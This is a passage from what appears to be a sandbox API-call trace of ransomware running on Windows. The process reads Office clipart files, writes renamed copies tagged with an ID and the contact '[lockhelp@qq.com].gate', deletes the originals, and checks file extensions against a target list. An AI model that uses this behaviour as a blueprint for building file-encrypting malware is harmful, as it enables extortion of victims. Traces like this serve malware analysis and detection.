files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.838] GetLastError () returned 0x0 [0319.838] ReadFile (in: hFile=0x360, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1b48, lpOverlapped=0x0) returned 1 [0319.839] WriteFile (in: hFile=0x380, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1b50, lpOverlapped=0x0) returned 1 [0320.190] ReadFile (in: hFile=0x360, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.190] WriteFile (in: hFile=0x380, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.190] SetEndOfFile (hFile=0x380) returned 1 [0320.190] CloseHandle (hObject=0x380) returned 1 [0320.190] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.190] SetEndOfFile (hFile=0x360) returned 1 [0320.191] CloseHandle (hObject=0x360) returned 1 [0320.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0320.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.453] lstrlenW (lpString=".doc") returned 4 [0320.453] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.453] lstrlenW (lpString=".docx") returned 5 [0320.453] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.453] lstrlenW (lpString=".pdf") returned 4 [0320.453] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.453] lstrlenW (lpString=".xls") returned 4 [0320.453] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.453] lstrlenW (lpString=".xlsx") returned 5 [0320.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.454] lstrlenW (lpString=".ppt") returned 4 [0320.454] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.454] lstrlenW (lpString=".zip") returned 4 [0320.454] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.454] lstrlenW (lpString=".rar") returned 4 [0320.454] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.454] lstrlenW (lpString=".bz2") returned 4 [0320.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.454] lstrlenW (lpString=".7z") returned 3 [0320.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.454] lstrlenW (lpString=".dbf") returned 4 [0320.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.454] lstrlenW (lpString=".1cd") returned 4 [0320.454] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.454] lstrlenW (lpString=".jpg") returned 4 [0320.454] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.454] lstrlenW (lpString=".doc") returned 4 [0320.454] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.454] lstrlenW (lpString=".docx") returned 5 [0320.454] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.454] lstrlenW (lpString=".pdf") returned 4 [0320.454] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.454] lstrlenW (lpString=".xls") returned 4 [0320.454] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.455] lstrlenW (lpString=".xlsx") returned 5 [0320.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.455] lstrlenW (lpString=".ppt") returned 4 [0320.455] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.455] lstrlenW (lpString=".zip") returned 4 [0320.455] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.455] lstrlenW (lpString=".rar") returned 4 [0320.455] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.455] lstrlenW (lpString=".bz2") returned 4 [0320.455] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.455] lstrlenW (lpString=".7z") returned 3 [0320.455] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.455] lstrlenW (lpString=".dbf") returned 4 [0320.455] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.455] lstrlenW (lpString=".1cd") returned 4 [0320.455] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0320.455] lstrlenW (lpString=".jpg") returned 4 [0320.455] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.455] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.455] lstrlenW (lpString="AN01039_.WMF") returned 12 [0320.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.456] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3344) returned 1 [0320.456] CloseHandle (hObject=0x340) returned 1 [0320.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0320.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.456] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.456] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0320.457] GetLastError () returned 0x0 [0320.457] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0xd10, lpOverlapped=0x0) returned 1 [0320.458] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xd20, lpOverlapped=0x0) returned 1 [0320.460] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.460] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.460] SetEndOfFile (hFile=0x344) returned 1 [0320.460] CloseHandle (hObject=0x344) returned 1 [0320.460] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.460] SetEndOfFile (hFile=0x340) returned 1 [0320.461] CloseHandle (hObject=0x340) returned 1 [0320.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0320.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.462] lstrlenW (lpString=".doc") returned 4 [0320.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.462] lstrlenW (lpString=".docx") returned 5 [0320.462] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.462] lstrlenW (lpString=".pdf") returned 4 [0320.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.462] lstrlenW (lpString=".xls") returned 4 [0320.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.462] lstrlenW (lpString=".xlsx") returned 5 [0320.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.462] lstrlenW (lpString=".ppt") returned 4 [0320.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.462] lstrlenW (lpString=".zip") returned 4 [0320.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.462] lstrlenW (lpString=".rar") returned 4 [0320.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.462] lstrlenW (lpString=".bz2") returned 4 [0320.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.462] lstrlenW (lpString=".7z") returned 3 [0320.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.462] lstrlenW (lpString=".dbf") returned 4 [0320.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.462] lstrlenW (lpString=".1cd") returned 4 [0320.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.463] lstrlenW (lpString=".jpg") returned 4 [0320.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.463] lstrlenW (lpString=".doc") returned 4 [0320.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.463] lstrlenW (lpString=".docx") returned 5 [0320.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.463] lstrlenW (lpString=".pdf") returned 4 [0320.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.463] lstrlenW (lpString=".xls") returned 4 [0320.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.463] lstrlenW (lpString=".xlsx") returned 5 [0320.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.463] lstrlenW (lpString=".ppt") returned 4 [0320.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.463] lstrlenW (lpString=".zip") returned 4 [0320.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.463] lstrlenW (lpString=".rar") returned 4 [0320.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.463] lstrlenW (lpString=".bz2") returned 4 [0320.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.463] lstrlenW (lpString=".7z") returned 3 [0320.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.463] lstrlenW (lpString=".dbf") returned 4 [0320.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.464] lstrlenW (lpString=".1cd") returned 4 [0320.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0320.464] lstrlenW (lpString=".jpg") returned 4 [0320.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.464] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.464] lstrlenW (lpString="AN01044_.WMF") returned 12 [0320.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.464] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1596) returned 1 [0320.464] CloseHandle (hObject=0x340) returned 1 [0320.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0320.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.465] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.465] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0320.465] GetLastError () returned 0x0 [0320.465] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x63c, lpOverlapped=0x0) returned 1 [0320.466] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x640, lpOverlapped=0x0) returned 1 [0320.467] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.468] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.468] SetEndOfFile (hFile=0x344) returned 1 [0320.468] CloseHandle (hObject=0x344) returned 1 [0320.468] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.468] SetEndOfFile (hFile=0x340) returned 1 [0320.469] CloseHandle (hObject=0x340) returned 1 [0320.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0320.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.469] lstrlenW (lpString=".doc") returned 4 [0320.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.470] lstrlenW (lpString=".docx") returned 5 [0320.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.470] lstrlenW (lpString=".pdf") returned 4 [0320.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.470] lstrlenW (lpString=".xls") returned 4 [0320.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.470] lstrlenW (lpString=".xlsx") returned 5 [0320.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.470] lstrlenW (lpString=".ppt") returned 4 [0320.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.470] lstrlenW (lpString=".zip") returned 4 [0320.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.470] lstrlenW (lpString=".rar") returned 4 [0320.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.470] lstrlenW (lpString=".bz2") returned 4 [0320.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.470] lstrlenW (lpString=".7z") returned 3 [0320.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.470] lstrlenW (lpString=".dbf") returned 4 [0320.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.470] lstrlenW (lpString=".1cd") returned 4 [0320.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.470] lstrlenW (lpString=".jpg") returned 4 [0320.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.471] lstrlenW (lpString=".doc") returned 4 [0320.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.471] lstrlenW (lpString=".docx") returned 5 [0320.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.471] lstrlenW (lpString=".pdf") returned 4 [0320.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.471] lstrlenW (lpString=".xls") returned 4 [0320.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.471] lstrlenW (lpString=".xlsx") returned 5 [0320.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.471] lstrlenW (lpString=".ppt") returned 4 [0320.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.471] lstrlenW (lpString=".zip") returned 4 [0320.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.471] lstrlenW (lpString=".rar") returned 4 [0320.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.471] lstrlenW (lpString=".bz2") returned 4 [0320.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.471] lstrlenW (lpString=".7z") returned 3 [0320.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.471] lstrlenW (lpString=".dbf") returned 4 [0320.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.471] lstrlenW (lpString=".1cd") returned 4 [0320.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0320.471] lstrlenW (lpString=".jpg") returned 4 [0320.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.472] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.472] lstrlenW (lpString="AN01060_.WMF") returned 12 [0320.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.472] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7968) returned 1 [0320.472] CloseHandle (hObject=0x340) returned 1 [0320.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0320.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.472] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.472] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0320.473] GetLastError () returned 0x0 [0320.473] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1f20, lpOverlapped=0x0) returned 1 